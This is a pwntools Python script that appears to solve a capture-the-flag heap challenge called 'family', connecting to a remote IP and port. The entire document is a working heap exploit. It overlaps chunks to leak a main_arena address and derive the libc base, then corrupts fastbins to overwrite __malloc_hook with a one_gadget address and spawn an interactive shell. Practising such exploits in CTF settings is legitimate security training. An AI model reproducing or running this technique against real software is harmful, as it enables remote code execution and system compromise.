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| #! /usr/bin/env python
from pwn import *
#sh=process('./family')
sh=remote('111.231.70.44',28083)
elf=ELF('./family')
#context.log_level='debug'
libc=ELF('./x64-libc-2.23.so')
def add(size,content):
sh.sendlineafter(':','1')
sh.sendlineafter('How big a house do you want to build?\n',str(size))
sh.sendafter('How do you want to decorate your house?\n',content)
def free(index):
sh.sendlineafter(':','2')
sh.sendlineafter('Which house do you want to remove?\n',str(index))
def show(index):
sh.sendlineafter(':','3')
sh.sendlineafter('Which house do you want to view?\n',str(index))
def choice():
sh.sendlineafter(':','1'*0x400)
add(0x38, 'A\n') #0
add(0x40, 'A\n') #1
add(0x40, 'A\n') #2
add(0x40, 'A\n') #3
add(0x40, 'A\n') #4
add(0x40, 'A\n') #5
add(0x40, 'A\n') #6
payload = 'a' * 0x10 + p64(0x200) + p64(0x20)+'\n'
add(0x28, payload) #7
add(0x38, 'end+\n') #8
for i in range(1, 8):
free(i)
choice()
free(0)
add(0x38,'A'*0x38)
add(0x38, 'A\n') #1
add(0x38, 'B\n') #2
add(0x38, 'C\n') #3
add(0x38, 'x\n') #4
add(0x38, 'x\n') #5
add(0x28, 'x\n') #6
add(0x38, 'x\n') #7
add(0x38, 'x\n') #9
free(1)
free(2)
free(3)
choice()
free(8)
choice()
add(0x40, 'A\n') #1
add(0x40, 'A\n') #2
add(0x18, 'A\n') #3
add(0x38, 'A\n') #8
add(0x38, 'A\n') #10
add(0x28, 'A\n') #11
add(0x38, 'A\n') #12
add(0x28, 'A\n') #13
payload ='A'*0x10+p64(0x200) + p64(0x20)+'\n'
add(0x28, payload) #14
add(0x28, 'end+\n') #15
free(1)
free(2)
free(3)
free(8)
for i in range(10,15):
free(i)
choice()
free(0)
add(0x38,'A'*0x38)
add(0x38, 'A\n') #1
add(0x38, 'B\n') #2
add(0x38, 'C\n') #3
show(4)
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
sh.success('libc_base :' +hex(libc_base))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
sh.success('malloc_hook : ' +hex(malloc_hook))
one_gadget=libc_base+0x4526a
sh.success('one_gadget : ' +hex(one_gadget))
realloc=libc_base+libc.symbols['realloc']
sh.success('realloc : ' +hex(realloc))
free(1)
free(2)
free(3)
choice()
add(0x18, 'A\n') #1
add(0x28, 'B\n') #2
add(0x38, 'C\n') #3
add(0x18, 'D\n') #8
pay = p64(0) + p64(0x41)+'\n'
add(0x18, pay) #10
add(0x28, 'asd\n') #11
add(0x38, 'zxc\n') # 5,12
add(0x28, 'qqq\n') # 6,13
add(0x38, 'a1\n') # 14
#add(0x28, 'a2\n') # 15
free(5)
free(14)
free(12)
free(6)
free(15)
free(13)
add(0x28, p64(0x41)+'\n')
add(0x28, 'a\n')
add(0x28, 'a\n')
add(0x38, p64(libc_base+0x3c4b20 +8)+'\n')
add(0x38, 'a\n')
add(0x38, 'a\n')
free(1)
free(10)
free(8)
add(0x38, p64(libc_base + 0x3c4b20 + 8 + 0x20) + '\x00' * 0x10 + p64(0x41)+'\n')
add(0x38, '\x00' * 0x20 + p64(malloc_hook-0x18)+'\n')
add(0x38, 'a\n')
free(0)
add(0x40,'A'*8+p64(one_gadget)+'\n')
free(14)
sh.sendlineafter(':','1')
sh.sendlineafter('How big a house do you want to build?\n',str(20))
#gdb.attach(sh)
sh.interactive()
|
